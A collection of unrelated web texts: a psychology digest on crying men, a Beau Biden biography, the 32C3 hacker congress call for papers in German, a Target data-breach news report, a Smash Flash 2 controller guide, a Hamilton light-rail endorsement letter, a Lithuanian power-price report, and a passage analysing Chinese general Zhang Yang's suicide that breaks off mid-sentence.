harsher judgments of male criers.  Concrete consequences also followed. After the video screening, participants were told that Pat was moving away from the area and was after a short recommendation letter to help her/him find new work, which the participant should draft. As an employee, despite his/her recent poor performance, Pat wasn’t a complete disaster – participants had seen a positive resume at the start of the experiment – and many participants gave positive feedback, using phrases like “I have nothing but praise for him.” However, participants who watched the video depicting a crying male Pat wrote recommendation letters with the most negative tone, as evaluated by independent judges. The article offers one particularly harsh example:  “Well, I have to be honest, I’m not putting my name on the line for a slacker like Pat, I suggest that he get to the nearest McDonald’s and start working his way up from the bottom. Based on the reports I received I can’t in good conscience recommend that anywhere hire him. With that being said, good luck, if all else fails maybe he can get a gig flipping signs.”  Publicly crying is a signal of vulnerability: a state that we are less surprised to see in women, who are meant to be tender and emotional according to stereotypes. But when men cry, it violates cultural expectations that they should be firm and in control. The new experimental data suggest that, at least in simplified scenarios, this effects our evaluations of and actions toward crying men. Now it would be important to see if this holds true in real-world contexts between people with an active history, and explore it in samples outside of the US, to establish whether for men at work – as Motro and Ellis suggest – “crying is not an option”.  —Boys, Don’t Cry: Gender and Reactions to Negative Performance Feedback  Alex Fradera (@alexfradera) is Contributing Writer at BPS Research Digest
-Joseph Robinette "Beau" Biden III (February 3, 1969 – May 30, 2015) was an American attorney, officer in the Army Judge Advocate General's Corps, and politician from Wilmington, Delaware. He was the eldest of three children from the marriage of former U.S. Vice President Joe Biden and his first wife, Neilia Biden. He served as the Attorney General of Delaware, a major in the Delaware Army National Guard, and a member of the Democratic Party.  Early life and family [ edit ]  Biden was born in Wilmington, Delaware, the elder son of former U.S. Senator and Vice President Joe Biden, and his first wife, Neilia (née Hunter). On December 18, 1972, Biden's mother, Neilia, and younger sister Naomi were killed in an automobile accident while Christmas shopping. Beau was less than four years old, and his brother Hunter was two years old. Both of them were present in the car when the accident took place, but survived with critical injuries. Beau suffered multiple broken bones while Hunter sustained injuries to his scalp.  According to some accounts, Beau and Hunter encouraged their father to marry again, even going so far as to ask him "when were 'we' going to get married."[1] In June 1977, eight-year-old Biden welcomed Jill Jacobs as a "second mother." His half-sister, Ashley, was born in 1981.[2]  Biden married Hallie Olivere in 2002. They had a daughter, Natalie.[3][4]  Career [ edit ]  Biden graduated from Archmere Academy, his father's high school alma mater, and the University of Pennsylvania, where he was a member of the Psi Upsilon fraternity. He was also a graduate of Syracuse University College of Law, as was his father. After graduating from law school he clerked for Judge Steven McAuliffe of the United States District Court of New Hampshire.[5] From 1995 to 2004, he worked at the United States Department of Justice in Philadelphia, first as Counsel to the Office of Policy Development and later as a federal prosecutor in the U.S. Attorney's Office. In 2004, he became a partner in the law firm of Bifferato, Gentilotti, Biden & Balick, where he worked for two years before being elected Delaware attorney general.[6]  At the 2008 Democratic National Convention, after Joe Biden was nominated for Vice President of the United States, Beau introduced his father. He recounted the auto accident that killed his mother and sister and the subsequent parenting commitment his father made to his sons, a speech at which many delegates wept.[7][8]  Military service [ edit ]  Biden joined the military in 2003[9] as a member of the Delaware Army National Guard and was a Major in the Judge Advocate General's Corps as part of the 261st Signal Brigade in Smyrna, Delaware.[10][11]  Biden's unit was activated to deploy to Iraq on October 3, 2008, and sent to Fort Bliss, Texas, for pre-deployment training,[12] the day after his father participated in the 2008 presidential campaign's only vice presidential debate. His father was on the record as saying, "I don't want him going. But I tell you what, I don't want my grandson or my granddaughters going back in 15 years, and so how we leave makes a big difference."[13]  Biden traveled to Washington, D.C., from Iraq in January 2009 for the presidential inauguration and his father's swearing-in as Vice President,[14] then returned to Iraq.[15] Biden received a visit at Camp Victory from his father on July 4, 2009.[16] Biden returned from Iraq in September 2009, his yearlong stint on active duty complete.[17] Biden had announced that during his deployment he would continue to actively serve as Delaware's Attorney General by working in conjunction with his office's senior staff in Delaware,[18] although a member of his unit related Biden saying he had turned over most of his attorney general work to his deputy so as to focus on his duties in Iraq.[19] For his service in Iraq, Biden was awarded a Bronze Star.[20] Army Chief of Staff Raymond Odierno presented Biden with the Legion of Merit for his service in the Delaware National Guard, stating "Beau Biden possessed the traits I have witnessed in only the greatest leaders." [21] He was also posthumously presented with The Delaware Conspicuous Service Cross, which is "awarded for heroism, meritorious service and outstanding achievement." [22]  Political career [ edit ]  Delaware Attorney General Beau Biden at a Justice Department press conference  In his first bid at political office, Biden ran for Attorney General of Delaware in 2006. Biden's opponent was a veteran state prosecutor and Assistant U.S. Attorney, Ferris Wharton. Major issues in the campaign included the candidates' experience and proposed efforts to address sex offenders, Internet predators, senior abuse and domestic abuse. Biden won the election by approximately five percentage points.[23]  After being elected, he appointed former Delaware Attorney General and International Judge Richard S. Gebelein as Chief Deputy Attorney General, and former assistant U.S. Attorney Richard G. Andrews was appointed as State Prosecutor. As Attorney General, Biden supported and enforced stronger registration requirements for sex offenders.[24][25]  Joe Biden resigned from the Senate following his 2008 election to the vice presidency. Governor Ruth Ann Minner named former Joe Biden aide Ted Kaufman to fill the vacant seat, but Kaufman made it clear that he would not be a candidate in the 2010 special election. This fueled speculation Beau would run at that time.[26] Biden's father stated after the announcement of Kaufman's appointment, "It is no secret that I believe my son, Attorney General, would make a great United States Senator just as I believe he has been a great attorney general. But Beau has made it clear from the moment he entered public life that any office he sought he would earn on his own ... [I]f he chooses to run for the Senate in the future, he will have to run and win on his own. He wouldn't have it any other way."[27]  In October 2009, Biden stated that he was considering a run for the Senate and that he would make a final decision in January. On January 25, Biden confirmed that he would forgo a Senate run so as to better focus on the prosecution of Earl Bradley, an infamous child-molestation suspect.[28]  On November 2, 2010, he was easily re-elected to a second term as Delaware Attorney General, beating Independent Party of Delaware candidate Doug Campbell by a huge margin.[29]  Biden did not seek election to a third term as Attorney General in 2014.[30] In the spring of that year, he announced his intention to run for Governor of Delaware in the 2016 election to succeed term-limited Democratic Governor Jack Markell.[31][32] At the time of this announcement, the cancer that would kill Biden in 2015 had been diagnosed but was in remission, although this information was not public at the time.[citation needed]  Public offices Office Type Location Elected Took office Term ends Notes Attorney General Executive Dover 2006 January 2, 2007 January 3, 2011 Attorney General Executive Dover 2010 January 3, 2011 January 3, 2015  Election results Year Office Election Subject Party Votes % Opponent Party Votes % 2006 Attorney General General Joseph R. Biden III Democratic 133,152 52.5% Ferris Wharton Republican 120,062 47.4% 2010 Attorney General General Joseph R. Biden III Democratic 196,799 78.9% Doug Campbell Delaware Independent 52,517 21.1%  Health problems and death [ edit ]  For the final few years of his life, Biden suffered from brain cancer.[33][34] In May 2010, he was admitted to Christiana Hospital in Newark, Delaware, after complaining of a headache, numbness, and paralysis; officials stated that he had suffered a "mild stroke".[34][35] Later that month, Biden was transferred to Thomas Jefferson University Hospital in Philadelphia and kept for observation for several days.[35]  In August 2013, Biden was admitted to the University of Texas MD Anderson Cancer Center in Houston and diagnosed with brain cancer, after experiencing what White House officials called "an episode of disorientation and weakness".[36] A lesion was removed at that time. Biden had radiation and chemotherapy treatments, and the cancer remained stable.[37] On May 20, 2015, he was admitted to Walter Reed National Military Medical Center in Bethesda, Maryland, because of a recurrence of brain cancer. He died there 10 days later, on May 30, 2015, at age 46. His funeral was held at St. Anthony of Padua Roman Catholic Church in Wilmington, Delaware, on June 6, 2015. The Vice President's son's death was widely mourned within the U.S.[38] He was buried at St. Joseph on the Brandywine Cemetery in Greenville, Delaware.[33] He was survived by his wife and two children, his father, step-mother, and two siblings (a brother and a half-sister, both younger).  His funeral was attended by a large number of people, including then President Barack Obama, then First Lady Michelle Obama, their daughters Malia and Sasha, former President Bill Clinton, former Secretary of State and former First Lady Hillary Clinton, former US Army Chief of Staff General Ray Odierno, and Senate Majority Leader Mitch McConnell. At his funeral, he was given the Legion of Merit Award by General Odierno, for his services in the Iraq War. President Obama described Biden as "an original. He was a good man. He did in 46 years what most of us couldn't do in 146." At his funeral service, a solo rendition of the song "Til Kingdom Come" was performed by Chris Martin, the lead singer of the band Coldplay, of which Beau had been a fan.[40]  Posthumous awards and legacy [ edit ]  On November 4, 2015, Biden was posthumously awarded the Albert Schweitzer Leadership Award, the highest honor given by the Hugh O'Brian Youth Leadership (HOBY), for his service to mankind.[41] A portion of the 21st Century Cures Act (2016) was named the "Beau Biden Cancer Moonshot" initiative after him.[42][43][44]
-32C3 — 32. Chaos Communication Congress  27. bis 30. Dezember 2015, CCH, Hamburg  Das Event  Der Chaos Communication Congress ist die jährliche Fachkonferenz und Hackerparty des Chaos Computer Clubs (CCC). An vier Tagen zwischen Weihnachten und Neujahr kommen tausende Hacker, Technikfreaks, Bastler, Künstler und Utopisten in Hamburg zusammen, um sich auszutauschen, voneinander zu lernen und miteinander zu feiern. Wir beschäftigen uns mit Themen rund um Informationstechnologie, Computersicherheit, d er Make- und Break-Szene, de m kritisch-schöpferischen Umgang mit Technologie und deren Auswirkungen auf unsere Gesellschaft.  Wir freuen uns auf Eure Einreichungen in den Tracks:  Failosophy  Art & Culture  Ethics, Society & Politics  Hardware & Making  Security  Science  Jenseits des Konferenzprogramms bietet der Chaos Communication Congress Raum für Community- Assemblies , Entwickler- und Projektgruppentreffen, Installationen, Lightning Talks sowie zahlreiche Workshops.  Tracks  Failosophy  LOLWTF war gestern. Heute lernen wir aus den eigenen und den Fehlern anderer.  Fehler sind verpönt und es wird nicht viel darüber gesprochen: Vertuschen statt teilen. Viele Programmierer – egal unter welcher Lizenz hier entwickelt wird – sprechen nicht über ihre Fehler. Das müssen wir ändern. Insbesondere die Open-Source-Entwickler, die an Projekten mitwirken, die unser aller Leben beeinträchtigen, werden nach Bekanntwerden einer Sicherheitslücke zuverlässig einem Shitstorm ausgesetzt und der Lächerlichkeit preisgegeben. Das schadet der Community und den individuellen Persönlichkeiten, die hinter dem jeweiligen Projekt stehen.  Fehler in Software sind unvermeidbar. In diesem Track dürfen diejenigen zu Wort kommen, die über ihre eigenen Fehler oder Erfahrungen sprechen möchten, damit andere daraus eine Lehre ziehen können. Bitte sprecht über eure misslungenen Projekte und eure Fehler; dann seid ihr mit Abstand die mutigsten Teilnehme nden der gesamten Veranstaltung.  Art & Culture  In diesen Track passen alle Einreichungen für Vorträge, die sich aus der künstlerischen Perspektive oder mittels künstlerischer Ausdrucksformen mit den gesellschaftlichen Veränderungen und Widersprüchen durch Computer, Internet, Roboter oder Digitalisierung auseinander setzen.  Mit dem Computer kann man Kunst und Schönheit schaffen: Auch Vorträge in Verbindung mit Installationen, Performances, Konzerten, Lesungen etc., die mit zeitgenössischen oder zukünftigen Technologien umgesetzt sind, oder sich mit ihnen befassen, sind hier richtig. Wir versuchen e uch organisatorisch so weit wie möglich zu unterstützen.  Ethics, Society & Politics  Hier bitten wir um Einreichungen, die sich mit den gesellschaftlichen, ethischen und politischen Fragen auseinandersetzen, die sich durch die Technisierung und Digitalisierung aller Lebensbereiche ergeben.  Was wird die Zukunft bringen, welche kommerziellen und politischen Interessen stehen einer lebenswerten Utopie im Wege, wie können wir sie überwinden?  Aktivistische, phantastische, solidarische und kommerzfreie Ideen und Konzepte sind hier gern gesehen.  Hardware & Making  Im Hardware & Making Track dreht sich alles um den kreativen Umgang mit, sowie die Entwicklung von Dingen, welche einen physikalischen Eindruck hinterlassen.  Hier sind Einreichungen vom Reverse-Engineerer über den Mircrocrontroller-Bastler bis zum Raktentechniker, Quantenphysiker und Kernschmelzer willkommen. Aufgeschliffene Smartcards, Platinen und Chips , reverse-engineerte Firmwares aber auch der Cocktails mixende 3D-Drucker und heimlich im Keller betriebene Nuklearreaktor sind hier zu Hause. Der Fokus dieses Tracks liegt auf dem Design von Hardware jedweder Art, dem Erweitern bestehender sowie der Befreiung durch den Hersteller verschlossener proprietärer Systeme, schmutzigen Fingern – und natürlich R a ket en !  Security  In diesem Track wünschen wir uns Einreichungen, die zeigen, wie man Software sicherer oder unsicherer machen kann. Wenn Du bereit bist, den Spaß an Deinen Entdeckungen mit tausenden Security-Enthusiasten zu teilen, ist dies Dein Track. Wenn du neue Lösungen für bisher ungelöste Probleme entwickelt hast, ist dies Dein Track. Wenn du neue Probleme entdeckt hast, von denen wir gar nicht wussten, dass es sie gibt, ist dies Dein Track. Aber denk daran: Wer etwas kaputt macht, muss es auch reparieren!  Science  Nicht nur unsere blinkenden Rechner verdanken wir der Wissenschaft – fast jeder Fortschritt in Gesellschaft und Technik kommt auf kleineren oder größeren Umwegen durch Forschung zustande. Egal ob an Forschungszentren, Universitäten oder in der Garage: Wir interessieren uns für Vorträge, die Entwicklungen von einem wissenschaftlichen Standpunkt erkunden, und evaluieren, was sie bewirken können.  Neben gesellschaftswissenschaftlichen Exkursen wie der Geschichte von Geheimdiensten, der Erforschung alternativer Koexistenzformen und Wirtschaftssysteme, interessieren uns auch drängende technische Probleme wie der steigende Energiebedarf der Menschheit, resistente Krankheitserreger oder der Zugang zu Trinkwasser. Die großen Fragen bleiben natürlich relevant: Sind wir allein im Universum? Wie funktioniert das Leben? Wie erkenne ich eine Endlosschleife?  Submission Guidelines  Für Vorträge  Bitte schicke uns eine sinnvolle und möglichst komplette Beschreibung Deines Vortragvorschlages. Gerade die Beschreibung hat einen großen Einfluss auf die Auswahl und sollte deswegen sehr aussagekräftig sein. Qualität geht natürlich vor Quantität. Marketing- und Sales-Droiden verschwinden bekanntermaßen von dieser Veranstaltung ohne eine Spur zu hinterlassen. Es ist also nicht sinnvoll, Firmen- oder Produktpropaganda überhaupt einzureichen.  Da die Chance groß ist, dass mehrere Leute einen Talk zum gleichen Thema einreichen, zeige uns bitte ganz genau, warum ausgerechnet Dein Talk dabei sein sollte – denke daran, dass die Teams divers besetzt sind und nicht alle Kuratoren jeden Einreicher und deren Hintergrund kennen. Es kann hilfreich sein, bei der Einreichung etwas über Dich selbst, Dein Umfeld oder Deine Motivation zu schreiben. Es ist uns vollkommen egal, ob der Talk schon einmal auf einer anderen Konferenz irgendwo auf dem Planeten stattgefunden hat. Wir bitten nur darum, dass der Talk aktuell ist.  Vorträge sollten entweder 45 Minuten lang sein plus 15 Minuten für Fragen und Antworten , oder 20 Minuten plus 10 Minuten für Fragen und Antworten . Ausnahmen bestätigen die Regel. Bitte teile uns bei der Einreichung mit, wie lang Dein Vortrag dauern soll.  Für Kurzvorträge  Darüber hinaus gibt es noch fünfminütige Kurzvorträge (sogenannte Lightning Talks) für kleine Ideen, Projekte oder Rants, die erst auf der Veranstaltung koordiniert werden. Eine Einreichung via frab ist nicht nötig, die Kurzvorträge werden wieder in einem Wiki organisiert.  Für Projekte, Installationen, Workshops und andere lustige Sachen  Eine formale Einreichung ist nicht nötig. Wir werden wieder ein Wiki haben, in dem wir den Bedarf an Platz und anderen Dingen sammeln werden. Fange einfach schon einmal an, darüber nachzudenken, was du machen, mitbringen oder zeigen willst, bevor dieses Wiki online geht. W ir sind offen für Verrücktes und Überraschendes.  Für Assemblies  Assemblies sind die Orte, an denen sich die verschiedenen thematischen und sozialen Communities zusammenfinden und den Hauptteil des Congresses ausmachen. Sie sind mit den Villages auf unseren Camps zu vergleichen. Die Assemblies werden im öffentlichen Wiki organisiert.  Sprache der Präsentation  Da d er Chaos Communication Congress eine internationale Konferenz ist, werden viele Inhalte auf Englisch präsentiert. Solltest du Dich in Deinem Englisch aber nicht absolut sicher fühlen, halte den Vortrag bitte auf Deutsch. Wir versuchen, so viele Talks wie möglich simultan zu übersetzen. Bitte verwende die Sprache des Talks auch im Titel, um die anderen Teilnehmer nicht zu verwirren.  Veröffentlichung  Die Audio- und Video-Aufnahmen der Vorträge werden online in verschiedenen Formaten veröffentlicht und unter die CC-Lizenz, Namensnennung 4 .0 Deutschland (CC BY 4 .0 DE) gestellt. Für Medien erlaubt diese Lizenz die kommerzielle Nutzung von Ausschnitten im Rahmen ihrer Berichterstattung. Wenn keine Veröffentlichung oder kein Streaming für Deinen Vortrag stattfinden soll, teile uns d ies bitte bei D einer Einreichung mit.  Eintritt , Fahrtkosten & Visum  Der Chaos Communication Congress ist ein nicht-kommerzielles Event und weder die Macher noch die Vortragenden werden bezahlt. Als Vortragende bekommst du allerdings freien Eintritt. Bei Bedarf ist es möglich, Unterstützung bei Fahrtkosten und Unterkunft zu beantragen. Benötigst Du Hilfe bei der Beantragung eines Visums, zum Beispiel eine offizielle Einladung zur Vorlage bei der Deutschen Botschaft, sage dem Content-Team bitte rechtzeitig bescheid. Bitte berücksichtige, dass die Beantragung eines Visums bis zu sechs Wochen dauern kann.  Termine und Deadlines  30 . September 201 5 (23:59 UTC): Einreichungsende  16. November 201 5 : Mitteilung über die Annahme  27. – 30. Dezember 201 5 : Chaos Communication Congress  Nur Online-Einreichungen  Alle Vortrags v orschläge müssen über unser Konferenz-Planungssystem eingegeben werden, das sich unter folgender Adresse befindet: https://frab.cccv.de/cfp/32c3
-Food & Drinks  Experience the festive flavors of Italy drawn from menu items of Francesco’s Ristorante Italia. We merge with the depth and character of New Orleans, the home of many jazz greats. Bringing together a menu with southern charm and Italian comfort, we practice the highest caliber of quality and care in preparation. We invite you to experience dining at Blue Martini where the atmosphere is alive with sound.  Martinis are fun. And so is live music. So we felt having a great selection of both was important to consider in building the best place to go in Kitsilano, even if but for a classic cocktail, a glass of hand selected wine, or an inspiring martini before you hit the town… if you even want to leave, that is ;)
-(Reuters) - Target Corp announced an overhaul of its information security practices and the resignation of its chief information officer as the retailer tries to reassure customers and investors after a massive data breach late last year.  A Target employee returns carts to the store in Falls Church, Virginia May 14, 2012. REUTERS/Kevin Lamarque  CIO Beth Jacob is the first high-level executive to leave the company following the breach, which led to the theft of about 40 million credit and debit card records and 70 million other records of customer details.  Jacob, who comes from a sales background and has been CIO since 2008, will be replaced by an external hire, Target said in an email to Reuters on Wednesday.  “It’s a decision that should have been made by the CEO on January 1, not through the resignation of an employee that overlooked critical weakness in the operating model,” Belus Capital Advisors CEO Brian Sozzi said.  The breach at Target was the second largest at a U.S. retailer, after the theft of more than 90 million credit cards over about 18 months was uncovered in 2007 at TJX Cos Inc, operator of the T.J. Maxx and Marshalls chains.  Hacking has become a major concern for retailers in the United States. In the latest reported breach, beauty products retailer and distributor Sally Beauty Holdings Inc said on Wednesday its network had been hacked but no card or customer data appeared to have been stolen.  Target Chief Executive Gregg Steinhafel said the company would elevate the role of chief information security officer as part of its plan to tighten its security.  The company will also look externally to fill that position as well as the new position of chief compliance officer.  Steinhafel said Target would be advised by security consultant Promontory Financial Group as it evaluates its technology, structure, processes and talent.  “I believe this is definitely a measure in restoring faith and really showing that they are taking the breach seriously,” Heather Bearfield, who runs the cybersecurity practice for accounting firm Marcum LLP, told Reuters.  Target, the third-largest U.S. retailer, said last week customer traffic had started to improve this year after falling significantly toward the end of the holiday shopping season when news of the cyber attack spooked shoppers.  Target shares were down 1.2 percent at $60.57 in afternoon trading on the New York Stock Exchange.
-Things You'll Need:  Getting Started:  Mapping the Buttons:  Joystick 1 and Joystick 2 should be colored if your computer recognized your adapter.​  Setting the Controls into Super Smash Flash 2:  -A Windows PC (sorry Mac and Linux users)-Mayflash Adapter ( http://www.amazon.com/gp/product/B0089NVTDM/ref=oh_details_o00_s00_i00?ie=UTF8&psc=1 -An offline copy of Super Smash Flash 2 (( http://www.mcleodgaming.com/downloads/SSF2DemoV0_9.zip -Joy2Key ( http://joytokey.net/download/JoyToKey_en.zip 1. Plug your Mayflash Adapter and let the drivers install.2. Download the files above if you haven't already.3. Extract the folders (right-click > extract all) and put them somewhere accessible.1. Run Joy2Key.exe and Click "OK" to the message that pops up.2. Right-click (Stick1: Edit button assignment3. Click "Keyboard 2"4. Pick your left key and put it in the top "1" box and "2" box. Then pick your dash key in put it in the second "2" box.5. Check the "Switch depending on analog level" radio button and then Press OK.6. You'll do something similar for the (Stick1: ---->) except instead of "2" for left, I use "3" for right. Notice "1" is still in the same box.7. Bulk Assign the rest of them by pressing the "bulk assing key." Just make sure to skip POV (d-pad) Left, Down, and Right along with Button 9 as they won't be used by pressing the skip button. I just press the keys in order except shift, control, alt, and the windows button.8. Repeat the above for joystick two.1.Open Super Smash Flash 22. Using your mouse press Start > Options > Controls3. Uncheck Autodash and D-Tap to dash.4. You should set the Dash, Right, and Left Buttons right away with the keyboard. After that, you can just use the GameCube controller to set the rest. (Taunt is up on the dpad).5. Repeat for P2.AND YOU'RE DONE.
-Special Report: Light Rail Architects Letter Endorsing Light Rail Transit The Hamilton-Burlington Society of Architects has written a letter explaining why the organization supports the city's LRT plan - and reminding Council why they have supported it as well. By RTH Staff  Published May 30, 2016  The Hamilton-Burlington Society of Architects has written a letter to the City of Hamilton to endorse the city's light rail transit (LRT) plan in the face of a recent upwelling of Council uncertainty about the project, which Council itself has endorsed consistently in dozens of votes since 2008 and for which the Province committed to full capital funding a year ago.  The HBSA letter notes the recent increase in new multi-unit residential projects, which "demonstrate a clear trend toward dense urban living" that LRT will support and make more successful so that the City can meet its intensification goals.  It also notes that both the City and Province have already evaluated the feasabilty of the project and concluded that it will generate the biggest overall benefit for the city and "the best fiscal return for the future".  The letter follows letters supporting LRT last week from property developer Darko Vranich and from construction workers union and propert developer LiUNA Local 837.  May 29, 2016 City of Hamilton Mayor's Office Hamilton City Hall 2nd floor - 71 Main Street West Hamilton, Ontario L8P 4Y5 Attention: Hon Mayor Fred Eisenberger Dear Mr. Eisenberger, This letter is a reconfirmation of endorsement by the Hamilton Burlington Society of Architects (HBSA) for a Light Rail Transit (LRT) line in Hamilton. We as an organization feel that LRT is the right decision with the greatest benefits for our city - this echoes the conclusions of the City of Hamilton's two-phase feasibility study that was unanimously endorsed by our city council. New and projected development leading the way for LRT Currently Hamilton has over 20 new multiple residential developments in construction or planning stages within the city's core, representing approximately 1600 units. This is an unprecedented number not seen in decades. These developments demonstrate a clear trend towards denser urban living - a trend that will be supported and made more successful by the access to expedient and convenient high quality transit afforded by an LRT line. These developments are just the beginning of a projected 100,000 new Hamilton residents over the next 25 years. To accommodate this influx, LRT will encourage development and densification along its route within the city's built-up area, supporting many of the principles laid out in the province's Places to Grow strategy by: Revitalizing our downtown to become vibrant and convenient centres,  Curbing sprawl and protecting farmland and green spaces,  Reducing traffic gridlock by improving access to a greater range of transportation options. Investment in LRT is the best long-term fiscal decision While the upfront costs of LRT are significant, we have a largely unprecedented opportunity to accept full funding from the province. Both the City and the province have concluded it is a worthwhile investment with feasibility and benefits case studies determining that it will generate a large net benefit in increased tax assessment. As LRT encourages concentrated growth within its proximity, the expense of new public infrastructure will be greatly reduced as the need for new greenfield developments will also be reduced. Furthermore, LRT has a lower per-passenger operating cost than alternatives such as Bus Rapid Transit (BRT) or traditional buses. Long term, LRT has been demonstrated to be the investment with the best fiscal return for the future. Hamilton has the commuting habits to support LRT today 70% of Hamiltonians live and work within the city. Among other regional cities provincially, that live-work balance is second only to Toronto at 80%. As an LRT line will run directly through our largest job cluster (the downtown core), many of these intra-city commuters will be given a new commuting option that is fast, reliable, and more environmentally sustainable. LRT will ensure Hamilton remains competitive As Hamilton's economy transitions from its predominantly industrial past, the city is emerging as a leader in healthcare and innovation with a diverse economy. We need to ensure we remain competitive, attracting new businesses and talent to our city and province. An investment in LRT will send a clear message that Hamilton is serious about its future as a livable, sustainable, and economically vibrant centre. It is the hope of the HBSA that you will invest in Hamilton by re-affirming Hamilton's support for LRT, accepting provincial funding of an LRT line. Sincerely, The Hamilton Burlington Society of Architects Graham McNally, Chair Cynthia Zahoruk, Vice - Chair Stephen Blood, Treasurer Christina Karney, Secretary Chrissy Taylor, Secretary Contact Person: Kyle Slote, OAA, slote@tcarch.ca, 905‐297‐0863 ext. 228 CC  City of Hamilton Council Members  Premier Kathleen Wynne  City of Hamilton MPPs  Hon Steven Del Duca, Ontario Minister for Transportation  Please take a few moments to tell Council to take YES for an answer, reaffirm its support for LRT and accept the full capital funding from the Province that Council has consistently voted for since 2008.  You can read about Raise the Hammer.  18 Comments Read Comments  Post a Comment  You must be logged in to comment.
-OSLO, Feb 23 (Reuters) - Lithuania electricity prices fell to a record low last week as imports from the Nordic countries rose via a new underwater power link to Sweden, the Baltic state’s grid operator Litgrid said on Tuesday.  The average price in Lithuania fell to 27.70 euros per megawatt-hour (MWh) last week, down 14 percent on the previous week and 33 percent on the same period last year.  “That was the lowest weekly price in Lithuania since the country joined the Nordic power market (in 2012),” Litgrid said in a statement.  “This was a reaction to the start of trial operations of the Lithuanian-Swedish power link, NordBalt, on Feb. 18.”  Testing of of the 700 MW cable, built with the support of the European Union and expected to reduce Lithuania’s dependence on power imports from Russia, had been delayed by a fire at a converter station in Sweden.  Last week Lithuania imported 81 percent of its electricity, with two thirds of all imports coming from the Nordic countries, where the average price stood at 21 euros/MWh.  More imports from the Nordic countries meant that imports from Russia and Belarus fell, Litgrid added.  In January Lithuania imported 49 percent of its electricity from the Nordic countries, with prices averaging 50.30 euros/MWh in Lithuania and 29.90 euros/MWh in the Nordics. (Reporting by Nerijus Adomaitis; Editing by David Goodman)
-General Zhang Yang, the former Political Work Department director of the Central Military Commission (CMC), hanged himself at home on November 25, according to a state media announcement in late November. Zhang became the highest-ranking Chinese official to commit suicide since Xi Jinping launched the anti-corruption campaign in 2013. On December 27, the National People’s Congress posthumously terminated Zhang’s membership to the Chinese legislature.  The official acknowledgment of Zhang Yang’s death confirmed earlier reports and information that he was in trouble. In late August, Zhang and former Chief of Joint Staff Fang Fenghui suddenly vanished from public view, and their names were not included in the list of military delegates to the 19th Party Congress. Chinese and Western media outlets later reported that both generals were being investigated for wrongdoing. The downfall of Zhang and Fang shocked many observers, as they were considered favorite candidates for the two CMC vice chair slots. The announcement that Zhang had ended his life solved the mystery of his whereabouts, but cast his and Fang’s earlier disappearance in a grim light.  The Xi administration’s handling of Zhang’s suicide indicates that his case is likely more serious than the terse official announcement lets on. In a 300-character commentary published after the announcement on November 28, China’s military newspaper, the People’s Liberation Army Daily, criticized Zhang for killing himself to escape punishment for breaking national law and Communist Party discipline. The commentary added that Zhang’s case further emphasized the need to “comprehensively purge the pernicious influence of Guo Boxiong and Xu Caihou” from the system, advance honest government, and persist with the anti-corruption drive. Guo Boxiong and Xu Caihou, both fomer CMC vice chairs, are the highest-ranking military officers to date to fall in Xi’s anti-corruption drive.  On November 29, provincial Party committees held meetings to brief cadres about Zhang’s case. A total of 74 senior generals from the CMC and other commands and units were ordered to attend a study session in Beijing between December 4 to December 9, where they were told to “resolutely obey Chairman Xi’s commands, be responsible to Chairman Xi, and let Chairman Xi be at ease.” Around the same period, leading provincial-level officials were also summoned to Beijing to attend the first of seven rounds of “education courses” on Xi Jinping Thought and the spirit of the 19th Party Congress.  Perhaps more troubling than Zhang Yang’s suicide is the absence of follow up reporting in state media and the top military brass’ radio silence on the issue. While overseas Chinese language news outlets carried details of Zhang’s corruption and promiscuity, state media coverage of Zhang’s case was limited to the announcement of his suicide, the short commentary article, and boilerplate critiques of Zhang from over a dozen provincial Party committees and State Council departments. In contrast, state media went all out to expose disgraced CMC vice chairs Guo Boxiong and Xu Caihou after they were formally investigated, while senior military leaders censured the purged generals in speeches.  Three perplexing questions arise in considering the Chinese authorities’ statement of Zhang’s suicide together with various intelligence and reports.  Suicide or Forced Suicide?  According to Xinhua’s account of Zhang Yang’s suicide, the authorities launched an investigation into his association with Guo and Xu on August 28. Zhang remained in his home during the entire duration of the probe until he committed suicide on November 23.  Two reasonable hypotheses can be drawn from the official statement. In considering CCP conventions, the authorities must have considered Zhang’s crimes not to be very serious if he was allowed to remain at home while being probed. Thus, Zhang committing suicide suggests that the past three months of investigations could have revealed his crimes to be very severe, and he may have chosen to end his life instead of serving a life prison sentence like Guo Boxiong.  The official narrative, however, appears tenuous when viewed alongside foreign media reports and other channels of information about Zhang and Fang Fenghui’s arrest. A September 1 Sankei Shimbun report notes that Zhang and Fang were subjected to shuanggui (a type of informal detention for CCP cadres) at the CMC headquarters (Bayi Building) in Beijing. Fang may have been probed at around the same time as Zhang as he was removed from his post on August 26. Meanwhile, Chinese overseas media report that military anti-corruption officers “visited” Zhang in the vicinity of his “residence” on the day of his death. Zhang reportedly told the officers that he needed to change clothes before hanging himself.  Juxtaposing official and unofficial information brings up some points for consideration.  It is still unclear where Fang Fenghui is being investigated — at home, in the Bayi Building, or at an undisclosed location. If Fang and Zhang were both investigated at home, then they should only be suspected of minor cases of corruption. If this was indeed the case, however, neither general should have been probed in the first place, given their high office and good chances of being promoted to CMC vice chair at the 19th Congress. (Given the prevalence of corruption in the Chinese officialdom, Xi would find himself with very few officials left to govern China if he purged every single official who engaged in malfeasance.) Instead, both generals vanished towards the end of August and didn’t even make the list of delegates to the Congress, a development which suggests that Fang and Zhang had committed offenses severe enough to doom their political careers.  Zhang being probed at home, as Chinese state media reported, doesn’t make sense given his connection with Guo and Xu. Officially, Guo and Xu stand accused of “political and economic crimes” and for being conspirators who sought to “wreck and split the Party.” The latter charge hints at their involvement in a coup against the Xi administration.  An examination of Zhang and Fang’s careers indicates that they owe their promotions to Guo and Xu. From 2004 to 2007, Fang and Zhang were chief of staff and political commissar, respectively, of the Guangzhou Military Region. In 2012, both generals were elevated to corresponding posts in the CMC. It would be impossible for Fang and Zhang to secure promotion if they only had a shallow relationship with Guo and Xu when the latter two were at the peak of their influence.  Finally, the state account of Zhang’s suicide becomes unpersuasive if the information that anti-corruption officers visited Zhang before his death is accurate.  Officially, Zhang killed himself to escape punishment. So did the anti-corruption officers tell Zhang exactly how he would be punished? If not, why hang himself in November, and not during the three prior months of investigation?  Zhang was investigated for his ties with Guo Boxiong and Xu Caihou. Given the gravity of the case, the anti-corruption officers who met with Zhang must be seasoned veterans. So how could the officers be careless enough to give Zhang an opportunity to hang himself?  Even if the anti-corruption officers had let Zhang slip away, the former general would have created a commotion in the process of hanging himself. It is inconceivable that the officers or security agents keeping an eye on Zhang at home would be oblivious to his suicide.  Why Did Military Leaders Stay Silent?  After the announcement of Zhang Yang’s death until November 30, a total of 14 provincial Party committees and three State Council departments condemned Zhang’s suicide and endorsed Xi Jinping’s call to stamp out the “pernicious influence” of Guo 